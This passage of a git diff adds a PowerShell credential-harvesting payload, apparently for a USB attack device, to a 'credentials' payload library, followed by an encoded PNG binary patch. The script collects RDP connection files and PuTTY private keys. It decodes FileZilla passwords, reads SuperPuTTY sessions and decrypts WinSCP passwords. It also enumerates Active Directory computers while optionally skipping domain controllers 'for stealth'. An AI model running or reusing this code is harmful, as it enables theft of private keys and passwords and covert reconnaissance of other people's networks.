$RDPExtensionFilesINodes.VersionInfo.FileName) { + + $RDPFileObject = "" | Select-Object -Property "Source","Path","Hostname","Gateway","Prompts for Credentials","Administrative Session" + + $RDPFileObject."Source" = (Hostname) + + # The next several lines use regex pattern matching to store relevant info from the .rdp file into our object + $RDPFileObject."Path" = $Path + $RDPFileObject."Hostname" = try { (Select-String -Path $Path -Pattern "full address:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Gateway" = try { (Select-String -Path $Path -Pattern "gatewayhostname:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Administrative Session" = try { (Select-String -Path $Path -Pattern "administrative session:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Prompts for Credentials" = try { (Select-String -Path $Path -Pattern "prompt for credentials:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + + if (!$RDPFileObject."Administrative Session" -or !$RDPFileObject."Administrative Session" -eq 0) { + $RDPFileObject."Administrative Session" = "Does not connect to admin session on remote host" + } else { + $RDPFileObject."Administrative Session" = "Connects to admin session on remote host" + } + if (!$RDPFileObject."Prompts for Credentials" -or $RDPFileObject."Prompts for Credentials" -eq 0) { + $RDPFileObject."Prompts for Credentials" = "No" + } else { + $RDPFileObject."Prompts for Credentials" = "Yes" + } + + [void]$ArrayOfRDPFiles.Add($RDPFileObject) + + } + + if ($ArrayOfRDPFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles + + if ($OutCSV) { + $ArrayOfRDPFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Connection Files (.rdp)" + $ArrayOfRDPFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process RDP File + +function ProcessPPKFile($PPKExtensionFilesINodes) { + + # Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes + foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) { + + # Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is + $PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC" + + $PPKFileObject."Source" = (Hostname) + + # The next several lines use regex pattern matching to store relevant info from the .ppk file into our object + $PPKFileObject."Path" = $Path + + $PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {} + $PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {} + $PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {} + $NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {} + $PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {} + $PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {} + + # Add the object we just created to the array of .ppk file objects + [void]$ArrayOfPPKFiles.Add($PPKFileObject) + + } + + if ($ArrayOfPPKFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles + + if ($OutCSV) { + $ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Private Key Files (.ppk)" + $ArrayOfPPKFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process PPK File + +function ProcessFileZillaFile($FileZillaXML) { + + # Locate all nodes (aka session nodes), iterate over them + foreach($FileZillaSession in $FileZillaXML.SelectNodes('//FileZilla3/Servers/Server')) { + # Hashtable to store each session's data + $FileZillaSessionHash = @{} + + # Iterates over each child node under (aka session) + $FileZillaSession.ChildNodes | ForEach-Object { + + $FileZillaSessionHash["Source"] = $Source + # If value exists, make a key-value pair for it in the hash table + if ($_.InnerText) { + if ($_.Name -eq "Pass") { + $FileZillaSessionHash["Password"] = $_.InnerText + } else { + # Populate session data based on the node name + $FileZillaSessionHash[$_.Name] = $_.InnerText + } + + } + + } + + # Create object from collected data, excluding some trivial information + [void]$ArrayOfFileZillaSessions.Add((New-Object PSObject -Property $FileZillaSessionHash | Select-Object -Property * -ExcludeProperty "#text",LogonType,Type,BypassProxy,SyncBrowsing,PasvMode,DirectoryComparison,MaximumMultipleConnections,EncodingType,TimezoneOffset,Colour)) + + } # ForEach FileZillaSession in FileZillaXML.SelectNodes() + + # base64_decode the stored encoded session passwords, and decode protocol + foreach ($Session in $ArrayOfFileZillaSessions) { + $Session.Password = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Session.Password)) + if ($Session.Protocol -eq "0") { + $Session.Protocol = "Use FTP over TLS if available" + } elseif ($Session.Protocol -eq 1) { + $Session.Protocol = "Use SFTP" + } elseif ($Session.Protocol -eq 3) { + $Session.Protocol = "Require implicit FTP over TLS" + } elseif ($Session.Protocol -eq 4) { + $Session.Protocol = "Require explicit FTP over TLS" + } elseif ($Session.Protocol -eq 6) { + $Session.Protocol = "Only use plain FTP (insecure)" + } + } + + if ($OutCSV) { + $ArrayOfFileZillaSessions | Export-CSV -Append -Path ($OutputDirectory + "\FileZilla.csv") -NoTypeInformation + } else { + Write-Output "FileZilla Sessions" + $ArrayOfFileZillaSessions | Format-List | Out-String + } + + # Add the array of FileZilla session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "FileZilla Sessions" -Value $ArrayOfFileZillaSessions + +} # ProcessFileZillaFile + +function ProcessSuperPuTTYFile($SuperPuTTYXML) { + + foreach($SuperPuTTYSessions in $SuperPuTTYXML.ArrayOfSessionData.SessionData) { + + foreach ($SuperPuTTYSession in $SuperPuTTYSessions) { + if ($SuperPuTTYSession -ne $null) { + + $SuperPuTTYSessionObject = "" | Select-Object -Property "Source","SessionId","SessionName","Host","Username","ExtraArgs","Port","Putty Session" + + $SuperPuTTYSessionObject."Source" = $Source + $SuperPuTTYSessionObject."SessionId" = $SuperPuTTYSession.SessionId + $SuperPuTTYSessionObject."SessionName" = $SuperPuTTYSession.SessionName + $SuperPuTTYSessionObject."Host" = $SuperPuTTYSession.Host + $SuperPuTTYSessionObject."Username" = $SuperPuTTYSession.Username + $SuperPuTTYSessionObject."ExtraArgs" = $SuperPuTTYSession.ExtraArgs + $SuperPuTTYSessionObject."Port" = $SuperPuTTYSession.Port + $SuperPuTTYSessionObject."PuTTY Session" = $SuperPuTTYSession.PuttySession + + [void]$ArrayOfSuperPuTTYSessions.Add($SuperPuTTYSessionObject) + } + } + + } # ForEach SuperPuTTYSessions + + if ($OutCSV) { + $ArrayOfSuperPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\SuperPuTTY.csv") -NoTypeInformation + } else { + Write-Output "SuperPuTTY Sessions" + $ArrayOfSuperPuTTYSessions | Out-String + } + + # Add the array of SuperPuTTY session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "SuperPuTTY Sessions" -Value $ArrayOfSuperPuTTYSessions + +} # ProcessSuperPuTTYFile + +#################################################################################### +#################################################################################### +## WinSCP Deobfuscation Helper Functions +#################################################################################### +#################################################################################### + +# Gets all domain-joined computer names and properties in one object +function GetComputersFromActiveDirectory { + + $objDomain = New-Object System.DirectoryServices.DirectoryEntry + $objSearcher = New-Object System.DirectoryServices.DirectorySearcher + $objSearcher.SearchRoot = $objDomain + if ($ExcludeDC) { + Write-Verbose "Skipping enumeration against the Domain Controller(s) for stealth." + $Filter = "(&(objectCategory=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))" + } else { + $Filter = "(objectCategory=computer)" + } + + $objSearcher.Filter = $Filter + + $colProplist = "name" + + foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)} + + $objSearcher.FindAll() + +} + +function DecryptNextCharacterWinSCP($remainingPass) { + + # Creates an object with flag and remainingPass properties + $flagAndPass = "" | Select-Object -Property flag,remainingPass + + # Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions + $firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16) + $secondval = "0123456789ABCDEF".indexOf($remainingPass[1]) + + $Added = $firstval + $secondval + + $decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256 + + $flagAndPass.flag = $decryptedResult + $flagAndPass.remainingPass = $remainingPass.Substring(2) + + $flagAndPass + +} + +function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) { + + $CheckFlag = 255 + $Magic = 163 + + $len = 0 + $key = $SessionHostname + $SessionUsername + $values = DecryptNextCharacterWinSCP($Password) + + $storedFlag = $values.flag + + if ($values.flag -eq $CheckFlag) { + $values.remainingPass = $values.remainingPass.Substring(2) + $values = DecryptNextCharacterWinSCP($values.remainingPass) + } + + $len = $values.flag + + $values = DecryptNextCharacterWinSCP($values.remainingPass) + $values.remainingPass = $values.remainingPass.Substring(($values.flag * 2)) + + $finalOutput = "" + for ($i=0; $i -lt $len; $i++) { + $values = (DecryptNextCharacterWinSCP($values.remainingPass)) + $finalOutput += [char]$values.flag + } + + if ($storedFlag -eq $CheckFlag) { + $finalOutput.Substring($key.length) + } + + $finalOutput +} \ No newline at end of file diff --git a/payloads/library/credentials/SessionBunny/censorepic.png b/payloads/library/credentials/SessionBunny/censorepic.png new file mode 100644 index 0000000000000000000000000000000000000000..fedc54fdbd2ab89215404c2e554f6a236039d92d GIT binary patch literal 52557 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 